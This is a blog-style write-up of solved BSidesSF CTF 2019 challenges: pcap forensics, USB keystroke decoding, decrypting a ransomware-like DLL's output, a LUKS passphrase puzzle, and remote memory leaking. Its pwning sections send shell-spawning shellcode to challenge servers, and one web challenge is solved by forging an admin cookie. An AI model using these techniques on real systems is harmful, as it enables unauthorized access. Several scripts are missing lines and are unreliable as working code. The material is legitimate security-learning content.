BSidesSF CTF 2019 Writeup

I participated in BSidesSF CTF 2019 as insecure and got 540pts, reached to the 37th place. I also played TAMUctf and had been awake for 24 hours so unfortunately I spent much time on sleeping... And there were too many challenges to solve alone, some easy challs were opened while sleeping :sob: However, I solved some challs and enjoyed the CTF! That was a hard CTF for me :)

The challenge files I solved are available here.

[Forensics 50pts] table-tennis

Description: The flag is in the Pcap, can you find it?
File: out.pcapng

I opened the pcap with Wireshark and found many SSL packets. The protocol hierarchy shows us that there are only DNS, SSL, ICMP packets. As I looked over DNS seems fine so perhaps the flag is in ICMP. I filtered ICMP packets and found some ascii characters in the payload. Those suspicious ICMP packets are sent from so I wrote a code to collect them.

from scapy.all import *

result = b''

def analyse(pkt):
    global result
    if pkt[IP].src == "":
        data = bytes(pkt[ICMP].payload)
        result += data[16:24]

sniff(offline="out.pcapng", filter="icmp", store=0, prn=analyse)

The result is:

<html>\n\t<head>\n\t<title> I <3 Corgi </title>\n\t\t<script>\ndocument.write(atob("Q1RGe0p1c3RBUzBuZ0FiMHV0UDFuZ1Awbmd9"));\n\t\t</script>\n\n\t</head>\n\n\t<body>\n\n\t\t<h1> Woof!! </h1>\n\n\t</body>\n\n</ht

It's a html and the javascript decodes a base64 string.

$ echo Q1RGe0p1c3RBUzBuZ0FiMHV0UDFuZ1Awbmd9 | base64 -d

[101,Mobile 50pts] blink

Description: Get past the Jedi mind trick to find the flag you are looking for.
File: blink.apk

I just decompiled the apk and found the flag in the java code.

[Forensics 100ptx] zippy

Description: Can you read the flag from the PCAP?
File: zippy.pcapng

There are 2 tcp stream. The first one is:

nc -l -p 4445 > flag.zip
unzip -P supercomplexpassword flag.zip
Archive:  flag.zip
  inflating: flag.txt                

And the second one is:

..(.y..z.. ..F.......:...#B z..:...YPK....,.%.......PK..........NdbN..,.%.........................flag.txtUT.....z\ux.............PK..........N...w.....

I saved the second stream as flag.zip and unzipped the file with using the password written in the first one.

[101,Pwning 25pts] runit

Description: Send code to the server, and it'll run! Grab the flag from /home/ctf/flag.txt
Location - runit-5094b2cb.challenges.bsidessf.net:5252
File: runit

The binary just executes what is entered. So, we can get the shell just by sending a 32-bit shellcode.

from ptrlib import *
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73"
shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89"
shellcode += b"\xe3\x89\xc1\x89\xc2\xb0\x0b"
shellcode += b"\xcd\x80\x31\xc0\x40\xcd\x80"
sock = Socket("runit-5094b2cb.challenges.bsidessf.net", 5252)


[Pwning,Reversing 52pts] runitplusplus

Description: This is the same as runit, except requires a bit of reversing! Grab the flag from /home/ctf/flag.txt
Location - runitplusplus-a36bf652.challenges.bsidessf.net:5353
File: runitplusplus

It's similar to runit but there's a process between the input and the execution. I read the assembly with IDA and found it's just reversing the input. So, we can get the shell by sending reversed shellcode.

from ptrlib import *

shellcode  = b"\x31\xc0\x50\x68\x2f\x2f\x73"
shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89"
shellcode += b"\xe3\x89\xc1\x89\xc2\xb0\x0b"
shellcode += b"\xcd\x80\x31\xc0\x40\xcd\x80"
shellcode += b"\x90" * (0x400 - len(shellcode))
shellcode = shellcode[::-1]

sock = Socket("runitplusplus-a36bf652.challenges.bsidessf.net", 5353)
#sock = Socket("localhost", 5353)
#_ = input()


[101,Web 1pt] futurella

Description: The aliens are invading! Can you decode their message... before it's too late?
Location - https://futurella-85e75f52.challenges.bsidessf.net/

Read the source code.

[101,Web 10pts] kookie

Description: Log in as admin! Location - https://kookie-499a0c69.challenges.bsidessf.net/

There's a login form and we are given the username and password for an account. I logged in the account and found a cookie was created. The name of the cookie is username and the value is cookie. So, I just set the value to admin and reloaded the page, got the flag.

[Forensics 100pts] thekey

Description: Can you read flag.txt from the pcap?
File: thekey.pcapng

Ther are many USB packets which seems to be keyboard input. I found a useful document on keyboard packet and wrote a script to decode the packets. Be careful to check if shift key is pressed and if it's a sequential event.

from scapy.all import *

result = b' '
last = 0
interval = True

def keyid2chr(keyid, shift):
    table = {}
    for i in range(26):
        table[0x04 + i] = (bytes([ord("a") + i]), bytes([ord("A") + i]))
    syms = [b"!", b"@", b"#", b"$", b"%", b"^", b"&", b"*", b"("]
    for i in range(9):
        table[0x1e + i] = (bytes([ord("1") + i]), syms[i])
    table[0x27] = (b'0', b')')
    table[0x28] = (b'\n', b'\n')
    table[0x29] = (b'[ESC]', b'[ESC]')
    syms1 = b"\t -=[]\\#;' ,./"
    syms2 = b"\t _+{}|~:\" <>?"
    for i, (a, b) in enumerate(zip(syms1, syms2)):
        table[0x2b + i] = (bytes([a]), bytes([b]))
    if keyid in table:
        return table[keyid][shift]
        return b'?'

def analyse(pkt):
    global result, interval, last
    payload = bytes(pkt[Raw].load)
    leftover = payload[0x40:]
    if payload[8] == ord('S') and payload[9] == 1:
        # submit
    elif payload[8] == ord('C') and payload[9] == 1 and len(leftover) == 8:
        # complete
        shift = leftover[0]
        keyid = leftover[2]
        if keyid == 0:
            interval = True
            # an event captured
            c = keyid2chr(keyid, shift==0x20)
            if last == keyid and not interval:
            result += c
            last = keyid
            interval = False

sniff(offline="thekey.pcapng", filter="", store=0, prn=analyse)

The result is:

b' vim flag.txt\niThe flag is ctf[ESC]vbUA{my_favorite_editor_is_vim}[ESC]hhhhhhhhhhhhhhhhhhhau[ESC]vi{U[ESC]:wq\n\t'

It seems that he or she was using some key bindings for vim. We can get the flag by tracing the keystroke.


[Reversing 150pts] sendhalp

Description: Oh no! All the files on our workstation have been encrypted! Thankfully, we found the .dll file that was used, and a logfile:
... TODO(remove_debugging) MAC Address: 08:00:27:07:3d:f6 TODO(remove_debugging) Hostname: FLAGSVR (7) TODO(remove_debugging) CPUID: AMDisbetter! ... Can you decrypt it?
File: libsendhalp.dll, flag.txt.enc

The dll has some export functions, one of them is encrypt.

INT WINAPI encrypt(LPCSTR filepath_input, LPCSTR filepath_output);

It reads the input file and store the contents into the heap. And it gets the MAC address, the hostname, and the cpu vendor by calling GetAdaptersInfo, GetComputerName, and cpuid (assembly) respectively. Those information and the pointer to the input buffer, output buffer are passes to a function. (I named it EncryptBuffer.)

VOID EncryptBuffer(CHAR *cpuid, CHAR *hostname, PIP_ADAPTER_INFO adapter_info, CHAR *inputBuffer, INT len_hostname, CHAR *outputBuffer);

The overview of the encrypt function is like this:

INT read_bytes;
INT mac_addr[6];
INT len_hostname;
CHAR cpuid[12]:
CHAR hostname[0x80];
hInputFile = CreateFileA(filepath_input, GENERIC_READ, NULL, NULL, CREATE_ALWAYS, NULL, NULL);
hOutputFile = CreateFileA(filepath_output, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, NULL, NULL);
if (hOutputFile == INVALID_HANDLE_VALUE || hInputFile == INVALID_HANDLE_VALUE) {
    fprintf(hLogFile, "Couldn't open file! %d\n", GetLastError());
INT filesize = GetFileSize(hInputFile, NULL) + 1;
CHAR *lpBuffer1 = HeapAlloc(GetProcessHeap(), 0, filesize);
CHAR *lpBuffer2 = HeapAlloc(GetProcessHeap(), 0, filesize);
ReadFile(hInputFile, lpBuffer1, filesize, &read_bytes);
lpBuffer1[filesize] = 0;
fprintf(hLogFile, "TODO(remove_debugging) MAC Address: %02x:%02x:%02x:%02x:%02x:%02x",
  mac_addr[0], mac_addr[1], mac_addr[2], mac_addr[3], mac_addr[4], mac_addr[5]
GetComputerNameA(hostname, &len_hostname);
fprintf(hLogFile, "TODO(remove_debugging) Hostname: %s (%d)\n", hostname, len_hostname);
__asm__( "cpuid"
             : "=a" (NULL), "=b" (cpuid), "=c" (cpuid+4), "=d" (cpuid+8)
             : "0" (0) );
fprintf(hLogFile, "TODO(remove_debugging) CPUID: %s\n", cpuid);
EncryptBuffer(cpuid, hostname, mac_addr, lpBuffer2, len_hostname, lpBuffer1);
WriteFile(hOutputFile, lpBuffer2, filesize, &read_bytes);
HeapFree(GetProcessHeap(), 0, lpBuffer2);
HeapFree(GetProcessHeap(), 0, lpBuffer1);

It seems the gathered information are used for file encryption. We know what they are from the challenge description.

The following is the overview of EncryptBuffer function.

CHAR localBuffer[0x100];
ScrambleBuffer(localBuffer, 6, mac_addr);
ScrambleBuffer(localBuffer, len_hostname, hostname);
ScrambleBuffer(localBuffer, 12, cpuid);
MakeBufferEncrypted(localBuffer, lpBuffer1, lpBuffer2);

The function ScrambleBuffer (I named it) prepares a buffer by using the input data.

VOID ScrambleBuffer(CHAR* localBuffer, INT datasize, CHAR *data) {
  int i;
  for(i = 0; i < 0xf9; i++) {
      localBuffer[i] = i;
  int w = 0;
  for(i = 0; i < 0xf9; i++) {
      w = (w + data[i % datasize] + localBuffer[i]) % 0xf9;
      // swap the characters at i and w
      localBuffer[i] ^= localBuffer[w];
      localBuffer[w] ^= localBuffer[i];
      localBuffer[i] ^= localBuffer[w];

As you can understand from the code, the given localBuffer is initialized first. This means the first two call of ScrambleBuffer in EncryptBuffer is meaningless. So, the necessary information to decrypt the file is only the cpuid, which is "AMDisbetter!" here.

Anyway, let's analyse the last function MakeBufferEncrypted. (Sorry for the terrible name...)

VOID MakeBufferEncrypted(CHAR *localBuffer, CHAR *lpBuffer1, CHAR *lpBuffer2) {
  int len = strlen(lpBuffer1);
  int i, w = 0;
  for(i = 0; ; i++) {
      w = (w + localBuffer[(i + 1) % 0xf9]) % 0xf9;
      localBuffer[i + 1] ^= localBuffer[w];
      localBuffer[w] ^= localBuffer[i + 1];
      localBuffer[i + 1] ^= localBuffer[w];
      lpBuffer2[i] ^= lpBuffer1[i] ^ localBuffer[(localBuffer[w] + localBuffer[i+1]) % 0xf9];

It seems messy. I wrote a script to decrypt the encoded file.

def ScrambleBuffer(key, length):
    buf = [i for i in range(0xf9)]
    w = 0
    for i in range(0xf9):
        w = (w + key[i % length] + buf[i]) % 0xf9
        buf[i], buf[w] = buf[w], buf[i]
    return buf

with open("flag.txt.enc", "rb") as f:
    cipher = map(ord, list(f.read()))
key = "AMDisbetter!"

# Prepare scrambled localBuffer
buf = ScrambleBuffer(map(ord, list(key)), 12)

# Set localBuffer state after encryption
length = len(cipher)
w = 0
for i in range(length):
    w = (w + buf[(i + 1) % 0xf9]) % 0xf9
    buf[i+1], buf[w] = buf[w], buf[i+1]

# Decrypt
lpBuffer2 = list(cipher)
lpBuffer1 = [0x00 for i in range(length)]
for i in range(length - 1, -1, -1):
    print(w, buf[i+1], buf[i], i)
    lpBuffer1[i] ^= lpBuffer2[i] ^ buf[(buf[w] + buf[i+1]) % 0xf9]
    buf[i+1], buf[w] = buf[w], buf[i+1]
    w = (w - buf[(i + 1) % 0xf9]) % 0xf9

b = ''.join(map(chr, lpBuffer1))
with open("binary", "wb") as f:

The result is:


The flag is: CTF{i_can_windows}

[Forensics 50pts] goodluks1

Description: We've recovered an encrypted disk image from an insider threat. While he won't give up the passphrase, we think the post-it note is related.
File: goodluks1.7z, goodluks1.jpeg

There is a disk image in the 7zip archive and it's encrypted with LUKS. And in the jpeg image is the picture of a keyboard, a memo and two dice on the memo. The memo says:

Renew EFF membership!

These numbers looks like senary-based but I had no idea at first. As I did a deep search on the word EFF, I found this page. So, I did a search for 66135 from the search bar of the page and found this wordlist. The wordlist has senary-based numbers for each words, bingo!

Each numbers written in the memo corresponds to:

66135 wages
65263 upturned
31234 flogging
52253 rinse
35536 landmass
42235 number

I tried several combination and found the correct password wages upturned floggin rinse landmass number.

# cryptsetup luksOpen luks1.img goodluks1

As I entered the password, the image was mounted to /dev/mapper/goodluks1 and I found the flag in it.

[Reversing 250pts] dribbles

Description: You'll have to "dribble" some information out for this one...
Location - dribbles-c4d3cee3.challenges.bsidessf.net:9999

I was really close to the answer but couldn't make it to the end during the competition. Anyway, the challenge doesn't give any file even though it's a reversing challenge. We can resolve 3 symbols and leak the memory of arbitrary addresses.

$ nc dribbles-c4d3cee3.challenges.bsidessf.net 9999
[1/3] Resolve symbol> system
system (buf@0x7ffda7e92710) = 0x7ffb5a8a4480
[2/3] Resolve symbol> puts
puts (buf@0x7ffda7e92710) = 0x7ffb5a8cdf90
[3/3] Resolve symbol> main
main (buf@0x7ffda7e92710) = 0x55e1cf05e3a9
Provide address and number of bytes to read> 0x7ffda7e92710 32
0x7ffda7e92710:  30 78 37 66 66 64 61 37  65 39 32 37 31 30 20 33 
0x7ffda7e92720:  32 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 
Provide address and number of bytes to read>

So, I made a script which dumps the binary by guessing the process load address. Even though ASLR and PIE enabled, we can guess the load address since it's loaded somewhere like 0x?????????????000.

from ptrlib import *
import re
import os

sock = Socket("dribbles-c4d3cee3.challenges.bsidessf.net", 9999)

symbols = ["stdin", "system", "main"]
addr_symbols = []

# leak three
for symbol in symbols:
    l = sock.recvline()
    r = re.findall(b"\(buf@0x([0-9a-f]+)\) = 0x([0-9a-f]+)", l)
    if not r:
    addr_buf = int(r[0][0], 16)
    addr_symbols.append(int(r[0][1], 16))

dump("&buf = " + hex(addr_buf))
for symbol, addr_symbol in zip(symbols, addr_symbols):
    dump("&{0} = {1}".format(symbol, hex(addr_symbol)))

elf = b''
buf = b''
proc_base = addr_symbols[2] & 0xfffffffffffff000 - 0x1000
read_byte = 16
sock.sendline(str(proc_base) + " " + str(read_byte))
l = sock.recvline()
r = re.findall(b"([0-9a-f]{2}) ", l)
elf = b''.fromhex(bytes2str(b''.join(r)))
assert elf[:4] == b'\x7fELF'

if os.path.exists("./elf2"):
    known = os.path.getsize("./elf2")
    elf = b''
    known = 0
proc_base += known - 8

bs = 20
proc_base += 8
read_byte = 16 * bs
end = False
while not end:
    dump("Dumping {}...".format(hex(proc_base)))
    sock.sendline(str(proc_base) + " " + str(read_byte))
    for i in range(bs):
            l = sock.recvline()
            end = True
        r = re.findall(b"([0-9a-f]{2}) ", l)
        if not r:
            end = True
        for i in range(len(r)):
            if len(r[i]) != 2:
                r[i] = r[-2:]
        elf += b''.fromhex(bytes2str(b''.join(r)))
    proc_base += read_byte

with open("elf2", "ab") as f:


I could sucessfully get the binary for this challenge. It was broken (because it's the image of a running process) but IDA loaded most part of it correctly.

As I looked into the program, I found a function named read_flag. It loads the contents of flag.txt into heap by calling mmap.


As you can understand from the flow graphs above and below, it XORs the address of the allocated heap with a key.


However, I somehow misunderstood that it xors the contents of the flag with a key and couldn't find anything.

The key is a global variable and we can get it by resolving the address of __bss_start.

[3/3] Resolve symbol> __bss_start
__bss_start (buf@0x7ffe2f982690) = 0x55c61cf25098
Provide address and number of bytes to read> 0x55c61cf25098 32
0x55c61cf25098:  00 76 ffffffd0 ffffffe2 30 7f 00 00  00 00 00 00 00 00 00 00 
0x55c61cf250a8:  55 55 55 55 55 55 55 55  00 00 00 00 00 00 00 00

Or, you can find the key is set to U by analysing the leaked binary. We can get the address in which the xored address is stored because we have the address for buf. (Or, we can also leak the stack address using the libc variable environ.)

main (buf@0x7ffe630acc40) = 0x56287236b3a9
Provide address and number of bytes to read> 0x7ffe630acc40 640
0x7ffe630accf0:  00 00 00 00 00 00 00 00  10 00 ffffffce 73 28 56 00 00

As we look into the address, we will find data like this:

Provide address and number of bytes to read> 0x562873ce0010 16
0x562873ce0010:  01 00 00 00 00 00 00 00  55 ffffffd5 58 ffffff94 23 2a 55 55

It's obviously what we are looking for. The first 8 bytes are set to 1, and the following 8 bytes look like xored with 0x55! So, let's xor the data with 0x5555555555555555 and see what's stored there.

Provide address and number of bytes to read> 0x7f76c10d0000 64
0x7f8e59e8e000:  43 54 46 7b 52 65 61 64  69 6e 67 5f 4f 6e 65 5f 
0x7f8e59e8e010:  50 61 67 65 5f 41 74 5f  41 5f 54 69 6d 65 7d 0a 
0x7f8e59e8e020:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 
0x7f8e59e8e030:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00

Yay! Found the flag!


I should have read the binary more carefully......